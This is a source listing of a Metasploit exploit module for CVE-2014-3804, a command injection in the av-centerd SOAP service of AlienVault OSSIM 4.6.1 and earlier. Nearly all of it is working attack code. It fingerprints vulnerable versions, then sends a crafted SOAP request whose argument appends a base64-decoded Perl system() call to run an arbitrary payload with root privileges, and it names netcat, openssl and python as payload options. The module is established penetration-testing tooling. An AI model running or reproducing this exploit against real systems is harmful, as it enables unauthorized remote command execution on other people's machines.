PageRenderTime 43ms CodeModel.GetById 18ms RepoModel.GetById 0ms app.codeStats 0ms

/modules/exploits/linux/ids/alienvault_centerd_soap_exec.rb

https://gitlab.com/alx741/metasploit-framework
Ruby | 140 lines | 118 code | 17 blank | 5 comment | 7 complexity | 51e97ec90ab5ee06342c41c0c7bdd9a8 MD5 | raw file
  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. require 'rexml/document'
  7. class Metasploit3 < Msf::Exploit::Remote
  8. Rank = ExcellentRanking
  9. include Msf::Exploit::Remote::HttpClient
  10. include REXML
  11. def initialize(info = {})
  12. super(update_info(info,
  13. 'Name' => 'AlienVault OSSIM av-centerd Command Injection',
  14. 'Description' => %q{
  15. This module exploits a code execution flaw in AlienVault 4.6.1 and
  16. prior. The vulnerability exists in the av-centerd SOAP web service,
  17. where the update_system_info_debian_package method uses perl backticks
  18. in an insecure way, allowing command injection. This module has been
  19. tested successfully on AlienVault 4.6.0.
  20. },
  21. 'Author' =>
  22. [
  23. 'Unknown', # From HP ZDI team, Vulnerability discovery
  24. 'juan vazquez' # Metasploit module
  25. ],
  26. 'License' => MSF_LICENSE,
  27. 'References' =>
  28. [
  29. ['CVE', '2014-3804'],
  30. ['BID', '67999'],
  31. ['ZDI', '14-202'],
  32. ['URL', 'http://forums.alienvault.com/discussion/2690']
  33. ],
  34. 'Privileged' => true,
  35. 'Platform' => 'unix',
  36. 'Arch' => ARCH_CMD,
  37. 'Payload' =>
  38. {
  39. #'BadChars' => "[;`$<>|]", # Don't apply bcuz of the perl stub applied
  40. 'Compat' => {
  41. 'RequiredCmd' => 'perl netcat-e openssl python gawk'
  42. }
  43. },
  44. 'DefaultOptions' =>
  45. {
  46. 'SSL' => true
  47. },
  48. 'Targets' =>
  49. [
  50. [ 'AlienVault <= 4.6.1', { }]
  51. ],
  52. 'DefaultTarget' => 0,
  53. 'DisclosureDate' => 'May 5 2014'))
  54. register_options(
  55. [
  56. Opt::RPORT(40007)
  57. ], self.class)
  58. end
  59. def check
  60. version = ""
  61. res = send_soap_request("get_dpkg")
  62. if res &&
  63. res.code == 200 &&
  64. res.headers['SOAPServer'] &&
  65. res.headers['SOAPServer'] =~ /SOAP::Lite/ &&
  66. res.body.to_s =~ /alienvault-center\s*([\d\.]*)-\d/
  67. version = $1
  68. end
  69. if version.empty? || version >= "4.7.0"
  70. return Exploit::CheckCode::Safe
  71. else
  72. return Exploit::CheckCode::Appears
  73. end
  74. end
  75. def exploit
  76. send_soap_request("update_system_info_debian_package", 1)
  77. end
  78. def build_soap_request(method)
  79. xml = Document.new
  80. xml.add_element(
  81. "soap:Envelope",
  82. {
  83. 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance",
  84. 'xmlns:soapenc' => "http://schemas.xmlsoap.org/soap/encoding/",
  85. 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema",
  86. 'soap:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/",
  87. 'xmlns:soap' => "http://schemas.xmlsoap.org/soap/envelope/"
  88. })
  89. body = xml.root.add_element("soap:Body")
  90. m = body.add_element(
  91. method,
  92. {
  93. 'xmlns' => "AV/CC/Util"
  94. })
  95. args = []
  96. args[0] = m.add_element("c-gensym3", {'xsi:type' => 'xsd:string'})
  97. args[1] = m.add_element("c-gensym5", {'xsi:type' => 'xsd:string'})
  98. args[2] = m.add_element("c-gensym7", {'xsi:type' => 'xsd:string'})
  99. args[3] = m.add_element("c-gensym9", {'xsi:type' => 'xsd:string'})
  100. (0..3).each { |i| args[i].text = rand_text_alpha(4 + rand(4)) }
  101. if method == "update_system_info_debian_package"
  102. args[4] = m.add_element("c-gensym11", {'xsi:type' => 'xsd:string'})
  103. perl_payload = "system(decode_base64"
  104. perl_payload += "(\"#{Rex::Text.encode_base64(payload.encoded)}\"))"
  105. args[4].text = "#{rand_text_alpha(4 + rand(4))}"
  106. args[4].text += " && perl -MMIME::Base64 -e '#{perl_payload}'"
  107. end
  108. xml.to_s
  109. end
  110. def send_soap_request(method, timeout = 20)
  111. soap = build_soap_request(method)
  112. res = send_request_cgi({
  113. 'uri' => '/av-centerd',
  114. 'method' => 'POST',
  115. 'ctype' => 'text/xml; charset=UTF-8',
  116. 'data' => soap,
  117. 'headers' => {
  118. 'SOAPAction' => "\"AV/CC/Util##{method}\""
  119. }
  120. }, timeout)
  121. res
  122. end
  123. end